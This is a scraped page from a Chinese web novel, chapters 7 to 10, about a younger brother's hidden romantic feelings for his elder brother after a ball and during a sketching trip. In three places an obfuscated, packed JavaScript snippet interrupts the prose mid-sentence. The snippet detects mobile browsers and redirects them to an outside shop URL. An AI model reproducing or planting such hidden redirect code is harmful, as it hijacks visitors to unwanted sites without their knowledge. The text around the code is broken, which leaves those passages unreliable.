《哥,我不是故意的!》 7. 醉酒 司弈不知什么时候悄然站到了桌对面,白承礼大大方方地打招呼:“弈哥,好久不见啊。” 还顺带帮眼圈气红的司驰“开脱”:“司二少没欺负我,我俩闹着玩儿呢。” 司驰忙绕到肆意身边,刚想解释两句,司弈却只顾回应白承礼:“我就说宴会开始好一阵了,怎么不见你来,原来又是在搞你的艺术创作啊。” “没什么艺术不艺术啦,我就是拍着玩玩,真论艺术还得是司二少。”白承礼自自然然地笑道,“弈哥,你也别管我了,赶紧去跳跳舞吧,不然我哥这舞会算是白办了。” “可饶了我吧,大小姐,我就是不太擅长跳舞,想着不扫大家的兴致,只能一直聊天。”司弈把话挡了回去,“现在也不早了,我就把司驰带回去,免得他喝果汁上头又惹乱子。” “啊,弈哥,你这就走……我让管家送送你?”白承礼一下子慌了,忙往白序礼的方向看,但白序礼没有给她回应。 “不用劳烦管家,你们好好玩,我们就告辞了。”司弈略略颔首,把司驰胳膊一抓,就把他往门口方向带。 哪怕舞曲和人声还在司驰耳边吵,但他却感觉世界陡然安静了下来,他眼睛里就只剩下司弈。 “这会儿到十点了?”司驰还没反应过来呢,心里那口气堵着上也不是,下也不是。 “应该没到,但我看你扛不住了。”司弈抓着司驰手臂,二人出了喧哗的宴会厅,司弈仍然没有松开司驰。 司驰心里的气涌上来,一把甩开司弈,走廊空旷,他特意压低声音:“我没有欺负白承礼,是她先造我谣!” “我猜到也是,你一般对事不对人。”司弈平静应答,又让司驰像一拳砸在了棉花上。 “你知道你还说我!”司驰皱了皱鼻子,闷闷地说道。 司弈失笑:“我不把你叫住,你跟人吵起来了怎么办?白承礼和白序礼不一样,你俩同龄,她可不会让着你。” 哼,说得像白序礼让着我一样。 司驰不好意思回话,径自把面具摘了丢回长桌,同手同脚地向外走。 司弈很快赶了上来,与司驰并肩而行,他们手臂贴得很近,隔着薄薄的西装外套,司驰能感受到司弈的体温。 有点烫,出门走到花园里,被夜风一吹,这温度并没有消散,司驰还嗅到了额外的酒气。 “你喝了多少酒?”司驰蹙眉问道。 “不太清楚。”司弈顺势倚靠在司驰身侧。 司驰捞过司弈的胳膊,放到自己肩膀,再扶过司弈的腰,让他走稳当些。 还好这会儿走到花园的阴影里,守门的保镖看不清他二人,不然以他们这亲昵的姿态,又会在圈子里发酵出不少闲言碎语。 “我是不是给你添了很多麻烦?”司驰搀扶着司弈,低头看着地上摇晃的树影。 “你指什么方面呢?”司弈明知故问。 司驰迟疑了一会儿,咬牙说:“圈子里针对你我的谣言,还有你那些不了了之的情缘。” 司弈似乎有些失落:“哦,我还以为你良心发现,终于开始反思你的叛逆行径了。” “少来,一码归一码。”司驰忿忿地反驳,很快又自觉地反思道,“我也不是故意黏着你,让我们的关系被误会的,我可能就是受不了你因为别人忽视我。” “之前看过心理学方面的书,好像说我这种情况是雏鸟情结?我也不是很懂,但我再长大些可能就好了。” 司驰一路老老实实地自我剖白,司弈也没有打断他,只是异常安静地聆听着,等到司驰搂着司弈停在自家车子跟前,司驰才意识到司弈的一言不发。 “你没在听吗?睡着了?”司驰晃一晃司弈。 “别摇,本来就头疼。”司弈叫停他动作,“我都听着,一字不落,没想到你也有主动找书看的时候。” “我考试也是要文化课的好吗?”司驰被气笑了,“车钥匙,哪儿呢?” 司弈从裤兜里摸出钥匙,晃晃悠悠地对着车摁了一下。 车锁开了,司驰先把司弈扶上驾驶位,司弈仰面而坐,司驰瞥见他泛着粉的脖颈,很快耐下性子,目不斜视地给他系上安全带。 “我不介意你多依赖我。”司弈看着车顶的天窗,冷不丁地说。 “你现在单身,当然不介意。”司驰系好安全带,想着要不要给司弈解开领带和衣领的扣子,司弈体温高,再包裹那么严实,很可能把自己闷熟,“哪天你结婚了,你不介意,别人也会介意。” “我怎么感觉你小子总想把我卖出去呢?”司弈笑骂,自己抬手松了松领带,又解开了领口的扣子。 司驰这才退出车门,关门前还记得怼司弈一句:“我祝福你早日找到真爱,别不识好人心!” 他绕到驾驶位坐下,边系安全带边往司弈那边瞟。 司弈闭上了眼,脑袋偏向了他这边,这是喝醉了? “哥?”司驰试探性地喊了声。 “没睡,醒着呢。”司弈闭着眼回答。 “你这两天在家休息么?”司驰发动了车子,看着后视镜倒车。 “到你开学前我都没空。”司弈疲惫地回答,“不过,我保证能腾出时间送你去学校。” 司驰利落地倒出了车位,打方向盘转向,往停车场外开去。 好一会儿,他才继续说道:“反正我学校就在市内,你不送也可以。” “还为我不陪你度假生气呢?”司弈半睁开一只眼,懒散地笑问。 “你忙也是为了我有更好的生活,我生什么气?”司驰特意摆出懂事的模样,虽然他今天的种种行为已经和懂事二字毫无关系,“我就是想通知你,过两天我要和季青去隔壁J市采风,我两个多月都没画画,临近开学总得拿起笔练练手。” “采风啊……J市有什么著名景点吗,值得你专门去‘采’?”司弈问。 “独木成林的大榕树啊,课文都写过,还有前两年蛮火的那个□□电影,取景地也在J市的老城区。”司驰一五一十地回答,“正好J市离得也近,我们开两小时车就到了,还不用出省。” 司弈完全睁开了眼:“说起来你学这么多年画,还没给我画过肖像呢。” 司驰心里一咯噔,嘴上含糊地说道:“你可饶了我吧,我为了考试,画得最多的就是人物肖像,除了之后的作业,我一点也不想再画人像。” “好吧,那我不能强人所难。”司弈笑笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875671|191894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又重新闭上了眼。 车内陷入了寂静,司驰找补地说:“我从J市回来,给你带那边的陈皮。” 司弈没有回答,他睡着了。 司驰纠结了一路,要怎么把司弈从车上搬回别墅的卧房,以及安置司弈躺平前要不要给司弈冲个澡,司弈喝完酒,身上的香水和信息素都盖不住酒气。 但他刚把车停进车库,司弈就通体一颤,醒了过来。 “能自己走吗?”司驰解开自己安全带,又探身过去解开司弈身上的安全带。 司弈自己无知无觉地把扣子解开到胸口,但皮肤仍然被热得通红,安全带碍着了他,没让他脱掉外套和马甲。 “还是有点头晕。”司弈回答说,表情有点呆,有点乖。 “那能自己冲澡吗?”司驰没忙着扶他下车,故意多问了一句。 司弈乖乖地回答:“不能,我怕摔跤。” “好。”司驰记下了,下车绕到副驾驶车门外,把司弈搀扶下车。 “阿驰,你要和我一起洗澡吗?”司弈直愣愣地扑到司驰怀里。 司驰为稳住他,搂过了他后腰,而后勾住了他滑落的发带,那如瀑青丝便施施然散落。 司弈再迷朦地抬起眼,露出了和那天晚上一样的潋滟波光。 司驰喉头一紧:“不吧,我让众里帮你洗。” 这种小事,人工智障众里能够应付。 “可我想看看你身上的伤。”司弈轻声说。 司驰嗅到了酒气之中,那刀子一般冷冽的忍冬信息素,司弈并没有他看起来的那么冷静,酒精还在掌控他的行为。 “没什么好看的,都结疤了。”司驰搂着他,往后退了两步,眼眶被Alpha的信息素刺得发痛发涩。 “那也得看看,毕竟是我的错。”司弈却更凑近了些,几乎是贴着司驰嘴唇说道。 没有贴上,还差一指的距离。 司驰又不合时宜地想起那个被他打断的深吻,他想起司弈的嘴唇很软。 “稍稍顾及些尺度吧,哥。”司驰强挤出一丝清醒,“你不希望我被造谣,我自然也不希望你承担那些闲言碎语。” 司弈眉头轻蹙,仿佛白瓷开裂出冰纹,司驰看着心发颤地疼。 “嗯,我知道了,阿驰。”司弈按着司驰肩膀,稍稍站直身子而后把双手蓦然收回,背到了身后,“别哭。” “没哭,别瞎说。”司驰瓮声瓮气地回怼,抬手抹了抹发痒的眼尾。 触碰到了一手温热的眼泪。 这时候,众里来到车库接应他们俩,提前设定好的指令发挥了作用。 因着司弈醉得厉害,众里旱地拔葱般从矮冬瓜抽条成了长竹竿,搀扶着司弈在前边走,司驰攥着司弈的发带在后边跟着。 一场舞会参加下来,他们谁也没跳舞,各自沾染了一身疲惫。 司驰跟着司弈和众里到主卫的门口,众里灵性地发问:“小少爷,你要和大少爷一起洗漱吗?” “我……回房间洗,就是送你们到这里。”司驰嘴硬地说。 倒是司弈若无其事地转过脸来:“晚安,阿驰。” 司驰脸颊抽搐出一个笑容:“晚安,哥。” 8. 采风 司驰没多少喝酒,就抿了口香槟,但睡到第二天醒来,头还是疼。 众里进到房间里,问他吃什么早饭,顺便告诉他,司弈已经去公司了。 也好,省得他起床碰面了还尴尬。 司驰点了几个他常吃的早点,把众里打发走,就捞起自己的手机,打电话给季青。 “我的小少爷,现在是帝都时间六点二十分,你不应该还在睡梦中吗?”季青的声音仿佛从睡梦中传来,全是疲惫和不耐烦。 司驰悻悻地看了眼石英钟,“计划有变,子青,咱们今天就去J市采风吧。” 季青清醒了些:“不是过两天吗,少爷?我酒吧还一堆事儿呢!” 司驰听着理亏:“我自己去也成,反正就去隔壁市而已。” “你等会儿,等会儿。”季青似乎坐了起身,“昨天你是不是遇见什么过不去的事了?” “是你哥要跟白家掌权人订婚,还是白家掌权人要跟你哥订婚?” 看来还是没完全睡醒,司驰叹气:“没谁要订婚!你这话说得像我在吃白序礼的醋!” “我乱猜的,不是很懂你们兄控。”季青讪讪地笑,“那肯定还是心情不太好,你要不先过那边去,我下午就到,总得给我点儿时间安排管事的人。” “你可以不陪我去。”司驰无奈。 “不行,咱哥俩好长时间没单独出去玩儿了,下次指不定什么时候呢。”季青一本正经道。 不愧是他从小认下的第一个死党,司驰还没来得及感动,就听季青说:“你可是我现在最大的金主,我当然得好好供着你啊。” 司驰骂道:“滚!和你的酒吧一起滚!” * 季青到底没有滚蛋,下午三点准时出现在了司驰写生的咖啡馆,还带了两份芒果肠粉,他掀开塑料盒的那瞬间,司驰感觉自己脸都绿了。 “这是什么邪.教搭配?”司驰把画笔掷进了手边的水桶,为不把人家的卡座弄脏,他还稍稍收了些力气。 “J市的创新甜品,很受本地人欢迎哦。”季青说瞎话不打草稿,“那店里还有猕猴桃、火龙果的肠粉,卖相没芒果好,我就挑了芒果。” “这样的搭配就不该出现在广府。”司驰惊得都不知道该念“阿弥陀佛”还是画十字,“你怎么忽然想着买甜品?你不吃甜啊。” “那不是想着我们驰哥心情不好嘛,吃点儿甜的有益于身心健康。”季青笑嘻嘻地把芒果肠粉递到他面前。 司驰还坐在画板前脱不开身:“你先放旁边的桌子上吧,我还在画画呢。” 经咖啡馆老板允许,司驰把画架支在了窗边的空隙,正对着马路对面的骑楼建筑群,旁边是一个环状红沙发的卡座,季青就拎着两份芒果肠粉,大马金刀地坐在了沙发中央。 “对了,驰哥,你出来跟弈哥打了招呼没?”季青扫完一整盒芒果肠粉,才腾出嘴来问道。 司驰捞出画笔的手顿了顿,“你不说我还真忘了这事儿,我就告诉他,我过两天出来。” “不过也没关系吧,你出来只是采风,又不做什么极限运动。”季青用手机扫码,翻看着咖啡馆的菜单。 但司驰还是把手机拿出来,给司弈发了条短信。 司弈竟然没在忙,瞬间回复了他:「嗯,知道了,玩得开心,钱不够随时跟我说。」 我只是出门采风,又不是出门买游艇。 司驰打了这行字又删除,重新敲了一行:「谢谢哥。」 司弈没有回话,司驰把手机丢到旁边的小几上,挨着他的宽檐蓝帽子,他看一看画布上的色彩,又看一看窗外的景,重新捞起画笔,蘸了些红颜料。 季青百无聊赖地坐到卡座边缘,探头探脑地打量他的画,跟发现新大陆似的惊呼: “嚯,你什么时候这么讲究了?还带了个防晒的帽子。” “我讲究的时候多着呢。”司驰给画面背景补上红色,“谁跟你似的,成天就穿个老头背心和人字拖。” “凉快啊,岭南这鬼天气,万一穿正装给我热死了呢?”季青眯着眼睛看他的画,又特意坐远了看,“你这是那什么印象派吧?近看一团乱七八糟的颜色,远看能看出来是骑楼。” “我这是怎么顺眼怎么画派。”司驰添了两笔红色不太满意,洗干净画笔又蘸了些灰色。 “这幅画完了送我呗,我爸妈都爱看点儿岭南老建筑。”季青又坐过来,理所应当地说。 “反正在你嘴里,我画什么叔叔阿姨都爱看。”司驰回怼道,“我家里一张我的画都没有,全在学校和你家里。” “谁让你自己不喜欢留着,弈哥竟然也不说你。”季青嘀嘀咕咕地说,被服务员送来咖啡打了岔,很快接茬说道,“不过那一张应该还在你家吧,我记得你说那张画里是你梦中情人。” “我可没说过这种莫名其妙的话。”司驰否认,耳根悄悄红了些,“先闭嘴啊,禾子青,我要哪笔画错了,就把你脑袋按水桶里。” 季青听话地闭嘴退到了沙发里侧。 司驰又停笔看向窗外,注意到太阳位置变动,外头的环境光也发生了偏移,靠人眼捕捉光真是件难做的事啊,稍不留神便让它们四散逃走,但十五岁的司驰一厢情愿地认为,他用画笔捕捉到了光翩翩起舞的影子。 那一年春末,他陷在性别二次分化的高热里,半梦半醒地瞥见校医室外,翩跹而过的素净身影。 春天路过了我的窗前。 司驰在那张画的角落里,写下这句酸涩的少年心事,可惜他当时是在课堂上用铅笔完成的速写,被任课老师当场抓包,所以和他同班的季青对那幅画的构成一清二楚。 好在老师人不错,课后把画还给了司驰,也没有叫司弈来一趟学校,只是说了些“你刚经历性别分化,产生这样的心情很正常,但不要被这种情绪牵引,耽误了学习”之类的话,司驰红着脸点头,到底没有反驳老师说:其实这样一点也不正常。 但司驰也没有丢掉那幅速写,而是藏在了他压箱底的故事书里,那故事书小的时候司弈常给他念。 司驰再回过神来,眼前的画也没有再添色的必要,他随手取下递给了嘬着咖啡玩消消乐的季青。 “我这两天除了画画还是画画,你确定要陪我一直傻坐着?”司驰有些愧疚地问道。 季青接过画放到一边:“不啊,我有本地的朋友,约好明天去他家的农家乐钓鱼。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875672|191894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司驰瞬间就不愧疚了:“我就说我一个人来。” “钓完鱼我分你两斤,活的。”季青说。 “活的死的我都不要!”司驰说。 * 司驰画了一下午,就犹犹豫豫地画完两三张,心不静手也不顺,竟然没有一张他满意的。 季青如数打包带走,正如他吃掉了那份司驰一口没动的芒果肠粉,满口都说好啊好,问好在哪里,只说了一句“都画得很像骑楼”。 可惜这是公共场合,他不能给损友来一个锁喉。 胡乱把画具收拾了,司驰背着画板拎着包,和季青走出一段路。 季青一拍脑门:“你帽子呢,驰哥?” 帽子……司驰左右看看,两手都没有,脑袋上也空空。 完蛋,帽子落人家茶几上了,那上面还别着他找司弈讨来的胸针! 司驰闻言就转身往咖啡馆赶,迎面步履匆匆地来了个人,他赶忙刹住脚,才没撞到人身上。 还没开口道歉,对面人先说话:“靓仔,是你掉的帽子吧?” 司驰这才定睛一看,对面人手里拿着的正是他那个宽檐的遮阳帽,别在上面的胸针也完好无损。 “谢谢!”司驰慌忙接过帽子,视线往上持平,看见了一张温润清俊的脸庞。 华灯初上,昏黄的路灯光将眼前人的身形勾勒,清减瘦削但不失遒劲,中长的青丝搭在肩膀,隔着无框镜片的细长眼睛盈满温和的笑意。 “顺手的事儿,不用谢,还好今天来我们店采风的只有你一个,到大马路上了也好找。”来者却不居功,还体贴地安抚了他两句。 司驰一下子轻松起来:“原来您是店老板啊。” “老板算不上,勉强算是股东。”来者笑笑,“可惜今天我到店里晚了,不然还能有幸看看你的画。” “我这会儿拿出来给您看也行。”季青忙配合地说。 “不用了,靓仔,你别忙活。”来者赶紧制止。 “我明后天都会来店里。”司驰听见自己这么说,“您要喜欢随时都可以看。” “哦,那真好,我有眼福了。”来者大大方方地应下,“自我介绍一下,我叫苏扬,扬是飞扬的扬。” “我叫司驰,驰是飞驰的驰。”司驰赶忙回答。 季青似乎轻轻“啧”了声,也跟着自我介绍:“季青,但很不好意思,青和飞没法组词。” “明白,是颜色的那个‘青’。”苏扬不以为意,“明天来你们跟店员说是我朋友,让他们给打折。” “谢谢苏……老师。”司驰艰难地憋出一个称呼。 苏扬倒认了下来,摆摆手说:“不客气,明天见。” “明天见。”司驰目送人家走远,季青的“啧啧”声也越发明显。 司驰把帽子戴好,蹙眉问他发小:“你这又是怎么了?” “没怎么,就觉得凑巧,怎么你是飞驰的驰,他就是飞扬的扬呢,可惜我爸妈没给我取个好名字,和你们格格不入。”季青玩笑地打趣道。 他见司驰无言以对,方才故意文绉绉地说道:“少跟我装傻,驰兄,这位苏老师和令兄颇有几分神似,你心里当真没甚想法吗?” 9. 喜欢 “好好说话,少刷点儿古风短视频。”司驰手里还拎着画材,不方便给损友一个耳巴子,他绕过了季青的问题,没有回答。 或许是心虚吧。 “我反正明天要去钓鱼,可不管你。”季青也没有追问,“只是提个醒,注意分寸,别做让自己后悔的事情。” “我后悔的事情多了去。”司驰说,“最后悔的就是一个月前去你酒吧撑场子。” “好吧好吧,千错万错都是我的错。”季青紧走几步越过他,忽然转身挡在他面前,“那天晚上你有机会脱身的吧,毕竟你从小学散打,体格看起来也比弈哥壮实。” 司驰想说你不知道司弈也是练过的,但损友黑沉的眼里露出审视的目光,季青认真了,估计司驰编什么谎都圆不过去。 “真是怕你了。”司驰绕开季青的阻拦往前走,“因为司弈对我有血脉压制,我根本不是他对手。” 季青追了上来,语气又恢复到圆滑的吊儿郎当:“可能我是独生子,体会不到你说的这种血脉压制,所以我觉得你要是喜欢你哥,和他过一辈子也没什么大问题,反正你俩都不能生,不会祸害下一代。” 这个独生子在大放什么厥词! 司驰装作没听见,脚步更快了些,订好的酒店就在前方五十米,他恨不得瞬间转移过去。 结果刚到酒店门口,季青忽然把自己的背包扔司驰怀里,冲司驰摆摆手说:“我要去跟本地的朋友唱K了,驰哥,你自己好好想想吧!” “不是,我要想什么?”司驰手忙脚乱地把他背包挂臂弯,还要腾出手去扶歪掉的帽子。 季青没有回答,只握手成拳,锤一锤自己心口,倒退到马路边上转身,潇洒招来了一辆的士,随后在司驰想要一个答案的复杂心情里扬长而去。 可是季青怎么会给他一个答案呢?他自己都没有答案。 司驰认命地扛着大包小包,回到了酒店的套房,耳边还回响着季青的话。 他喜欢……司弈?他喜欢司弈?! 司驰被花洒淋下来的冷水惊得一哆嗦,赶忙又换成了热水,他怎么能喜欢司弈呢? 司弈是他在世上唯一的亲人,是和他血脉相连的哥哥。 父母去世后司弈还养他这么多年,可不能恩将仇报。 或许,或许他只是喜欢司弈这种类型?司驰试图往好的方面想,他今天看到苏扬就愣住了,可能有过一点点心动? 司驰心里安定了些,他找出了能够反驳季青的话。 或许有些认床,司驰从床头滚到床尾,都没有合眼睡着。 他摸出手机,点开了他和司弈的聊天框,除了这两天的对话,再往上翻就是一个多月的早晚问候,没什么特别。特别的是一个多月前,他去百望山飙车,司弈给他打了语音电话,他没有接。 其实司驰和司弈也很少在手机上聊天,能当面聊就当面聊,不能当面聊就各自忙各自的事情,毕竟又不是什么网友。 司驰推出了界面,点开自己日常浏览的社交网站,他忘了把“橙子啊大橙子”拉黑,一点开页面就有她的更新推送。 在把她拉黑前,司驰还是没克制住好奇心,点开了那条更新。 出乎意料的是,白承礼并没放舞会上的照片,而放了一幅构图很精巧的手绘画。 画面中心是蓝西装的司弈和白西装的白序礼,他们隔着人群向对方遥遥地举起了盛满酒液的高脚杯,白承礼配文写道:「人声鼎沸里,我只望向你的眼睛。」 下面的评论说:「这和婚礼现场有什么区别?」 紧接着下面跟一串“四百99”“弈礼服人99”。 不放真人照片的话,这名誉权可不好告,司驰还是把白承礼拉黑,想了一想,还拉黑了“四百夫夫”和“弈礼服人”两个CP向的词条,这也算是大数据时代的便利。 早该这么做了,可是司驰为什么跟受虐狂一样,这段时间正事不做,把司弈这对生拼硬凑的CP内容看了个七七八八。 因为你在他们之前,就已经预想过司弈和某个陌生人的婚礼千百遍吧,你早就在强迫自己提前适应伴郎的角色,哪怕你潜意识里只想要司弈独身和你生活一辈子。 可是你能以什么名分和司弈共度一生呢? 司驰强行定了定神,他想都怪季青,说了些莫名其妙的话。 清理干净CP相关的词条,司驰点开了司弈单人的词条,果然没有拉郎配,司弈单人的词条里只有商业活动相关。 司驰随机点开一个新闻视频,西装革履的司弈面对扛着长枪短炮的记者们,谈笑自若、进退有度,用一种无形的气场把自己和他人隔绝开,但又能巧妙地让每个人都能听清听懂他的发言。 这就是商业竞争对手、媒体大众,甚至那群拉郎配的CP粉们眼中的司弈:手腕强硬,喜怒不形于色,带有上位者的雷厉风行与不容置喙,或许司驰也该迎合他们,毕竟司弈身为兄长,也管教过司驰许多,有些行为用严酷来形容都不为过。 但是……司驰翻身而起,拿过自己放床头充电的平板电脑。 他没有开灯,就借着窗外闪烁的霓虹和平板的光亮,拿起触控笔就在绘画软件的画布作画,他其实更习惯手绘而并非板绘,总觉得平板的屏幕容易打滑,没有纸张的摩擦力,但这会儿天晚了,他不想再把颜料画笔和纸张依次从工具包里拿出来。 将就着用平板吧,反正接下来他要画的图早已烂熟于心,他闭着眼都知道每根线条的位置以及每处上色的色号。 不过半个小时,白衫长发的青年停歇在司驰的画笔下,他懒散地趴在窗台,一只手抬起扶着额边歪掉的狐狸面具,细长的眼尾上挑,嘴角轻轻勾起,似乎看到了窗外的好风光。 司驰细细地打量成图,又打开调色盘,选一抹轻软的红色,落到画中人的眼尾。 如果没有记错,这是他给司弈画过的第一千一百八十四张肖像画,距离他十五岁那年的生日也过去了一千一百八十四天。 司驰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875673|191894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把这张画保存,上传到他的社交平台,只单独打了「司弈」的词条,配文: 「狐狸掠过春天的窗台。」 在一众严肃的商业新闻里,这张明媚柔软的司弈显得格格不入,但这或许是司驰存放心事的好地方? 可惜不是,司驰刚要退出平台,便收到了几个点赞和一条留言。 「新来的四百太太,捉~」 啊,差点忘了,他单方面拉黑CP词条,但CP粉还是能看到“司弈”词条下的内容,不过这群CP粉来得太快了吧,他这刚发出图没多久。 司驰耐心地解释道:「不好意思,我不嗑CP,这是单人向的图。」 解释完他就把这条评论置顶,而后切换另一个账号,怀揣着隐隐的担忧,搜索“四百CP,果不其然看到白承礼那幅双人图点赞破十万,而紧跟着白承礼帖子下方的,就是舞会当天司弈和白序礼同框的照片,但照片的发布者并不是“大橙子”这个账号,它们的点赞也基本破万。 之前“四百”这个圈子点赞量最多的图文也不过破万,还是过了一周堆起来的量,司驰早先观察过,活跃的同人画手和文手加起来才十位,其中有一个还是白承礼,总体的浏览量也不过几十万,而且这两位正主都是商界人士并不混娱乐圈,根本到不了眼下几个小时破十万赞的热度。 白承礼,亦或者她背后的白家在暗中做推手,哪怕司弈从来没接过他们抵来的联姻橄榄枝,但司弈出现在白家的化妆舞会上,就给他们提供了可操作的大量素材。 司驰调换回自己发图的账号,托CP热度暴涨的福,他这单人图在短短十几分钟里,点赞也破了两百,评论也有十几条,他没点开看,但注意到了私信的红点提示。 他点开私信,是一段长长的不明就里的文字加表情符号,总结一句话就是:“不好意思冒犯了,请问太太你是SY的梦女/男么?” 很有礼貌地冒犯人。 司驰没有回复,他也不知道该回复什么,总觉得这个世界很荒谬,在他尝试种种办法当司弈最乖巧懂事的弟弟时,或近或远的人都在阻拦他或者迷惑他。 他调出了平板的图库,把他之前那些肖像画的照片找出来,一张一张上传到平台,打上“司弈”的词条,不知道传了多久把这一千多张肖像传尽,他抱着平板如释重负地喘息,眼泪早已打湿了睡衣的袖口。 现在“司弈”的那个词条下,应该全是他的画了,不管是“四百”的CP粉,还是无意间被推送到的围观者,都会有意无意地看到他这三年不可倾诉的心事,那被美化成梦境的可耻欲望。 跟雏鸟情结无关,跟兄弟情深无关。 司驰沉默地擦掉眼泪,把平板放回床头充电,捞起手机平复了好一会儿情绪,确定自己的声音不带哭腔后,他拨打了司弈的电话。 时间是凌晨两点四十分,他看到后想挂断电话也来不及,司弈接通了电话。 司弈声音有些哑,但分外温柔:“晚上好呀,阿驰。” 10. 提醒 “抱歉,哥,打扰你休息了。”司驰愧疚地说。 “你肯定找我有要紧事,也不算打扰。”司弈宽容地笑笑。 司驰犹豫地斟酌了一会儿:“我就是偶然看到,网上有不少人在嗑你和白序礼的CP,特别是在「红薯」这个平台……” “什么是CP?”司弈明显跟他上的不是同一个网。 “就是把你和白序礼拉郎配,热度最高的那个拉郎配帖子是白承礼发的,有十万点赞了。”司驰说着说着,完全收敛起自己那点儿感伤,愈发严肃道,“我想还是让你知道一下,看怎么处理,总感觉他们家会用这波热度炒作自家品牌,顺便抹黑我们家的企业形象。” “好,我记下了,到时候让言秘书留心追踪后续情况。”司弈稳稳地给出回应。 司驰还没完全放下心,司弈又紧接着说:“对了,阿驰,这个拉郎配要怎么看啊?是搜我或者白序礼的名字么?” “啊,对……”司驰下意识接话,“不对不对!” 他发的那些画也都带了司弈的词条啊! “但是我搜出来了诶!”司弈惊喜地说,“确实很多我跟白序礼的双人图,但我看有张我的单人图点赞还蛮高的。” 我求你别点开! 司驰咬牙装傻道:“是,是吗?这个我没注意到啊。” “还画了我在舞会上戴的面具,TA会不会也是白家那边的?”司弈的观察很是敏锐。 但司驰完全是因为顺手才画了面具,他不好解释,只得继续装傻:“可能是凑巧呢,狐狸面具是很常见的绘画要素。” 司弈下一句话更让司驰心惊胆颤:“我看了TA的主页,全是画的我,那看来不是白家人。” 我为什么要拿自己的画给司弈刷词条,是生怕他发现不了吗? 司驰轻轻拍了自己脸一下:“那就不清楚了,这网上的事真真假假的。” “但这画,画得真不错,和你不相上下吧。”司弈冷不丁说。 “……我刚刚看了一下,还是人家画得好。”司驰谦虚了,按住自己将要翘上天的尾巴。 “别妄自菲薄,你如果画我肯定比TA画得好,没人比你更熟悉我。”司弈说。 司驰一下子不知道怎么接话,只好讪讪地说:“你休息吧,哥,改天再聊。” “好,你也早点休息。”司弈说,“晚……” 司弈没能说完,司驰心乱地挂断了电话,反应过来时也晚了。 算了,该说的也都说了,随便吧。 司驰躺下来,手里还握着没几格电的手机,他鬼使神差地又点进社交平台,看到自己发布的第一张画,点赞破了一万。 看来他画得真不错嘛,司弈没有哄他。 * 第二天司驰果不其然起来晚了,忘记拉窗帘,阳光斜斜洒在他脸上,他捞起没电的手机看,十二点了。 起身给手机充电,司驰边打哈欠边回复季青的消息,这厮已经到鱼塘边钓上了鱼,给他发来张小龙般的大黑鱼,大言不惭地说这是他一早上的成果。 菜市场买来的都比你钓上来的可信度高。 司驰本想习惯性损发小两句,但他昨晚睡着后做了个好梦,心情不错,于是给面子地回复道: 「不错嘛,青哥,下次钓鱼带带我。」 季青却听不懂好赖话:「不管你是谁,快给我从司驰身上下来!」 司驰立马如季青所愿:「非要我说你是从菜市场买来的鱼才高兴啊!」 季青也没有让司驰失望:「嘿嘿,你怎么知道?」 也就他俩能这么聊了,换个人得拖出去杖刑伺候。 司驰给自己点了酒店的云吞面当早午饭,而后再心痒地点回自己社交平台的主页,那幅「狐狸」的点赞破了五万,他终于下定决心,看一看自己的评论区,内心一直在祈祷不要看到“四百”CP党贴脸。 还好他的置顶起了作用,热评全是正面夸赞他画技高超,以及赞美司弈的超凡颜值。 这样才对嘛,互联网真美好。 司驰忽略掉自己已经99+的私信,又划了两下切换小号,搜索司弈的名字,热度最高的还是白承礼的那张CP图,目前已经突破了三十万点赞,按照平台的浏览量反推,这个数据已经是爆火出圈了。 他点开热搜榜,筛了一下时间,看到“四百CP”的相关词条半夜霸占热搜榜第一,到现在甚至还在榜上。 词条里除了同人图文和照片,出现了相当数量的“科普”帖子,司驰点开一篇点赞高的,其中就详细讲述了“四百”这对CP诞生的全过程。 破圈后快速吸纳新人么?有意思。 那么下一步就该给司弈泼黑水了吧。 司驰退出平台,又逛了逛几个流量没那么大的平台,其中的“四百”帖子也如雨后春笋般萌发。 他拿捏不准白家何时进行下一步,也拿捏不准司弈会做出何种行动。 他眼下唯一能拿捏的就是客房服务送上门的云吞面,云吞包了虾肉蟹,竹升面筋道爽滑,汤底也是很鲜美的虾汤,吃饱了,该出门采风了。 司驰背着画板,再次来到昨天写生的咖啡馆,他想趁今天手感好,再多画几幅这保存不错的骑楼。 结果刚推门,咖啡馆内就传来一声温润的招呼:“我还以为你不来写生了呢,司同学。” 苏扬坐在门边的藤椅上,侧身向迈入半只脚的司驰打招呼,他手上还捧着本砖头厚的书。 “您在等我么,苏老师?”司驰有些意外,他全然忘记昨天傍晚的插曲,毕竟满脑子都被司弈占据。 “没,只是习惯性来咖啡馆看书,但没见着你有些奇怪。”苏扬好脾气地笑笑,放下了手上的书起身,“你昨天坐的小马扎还在原位,去放东西吧,我给你调杯店里的招牌咖啡送来。” 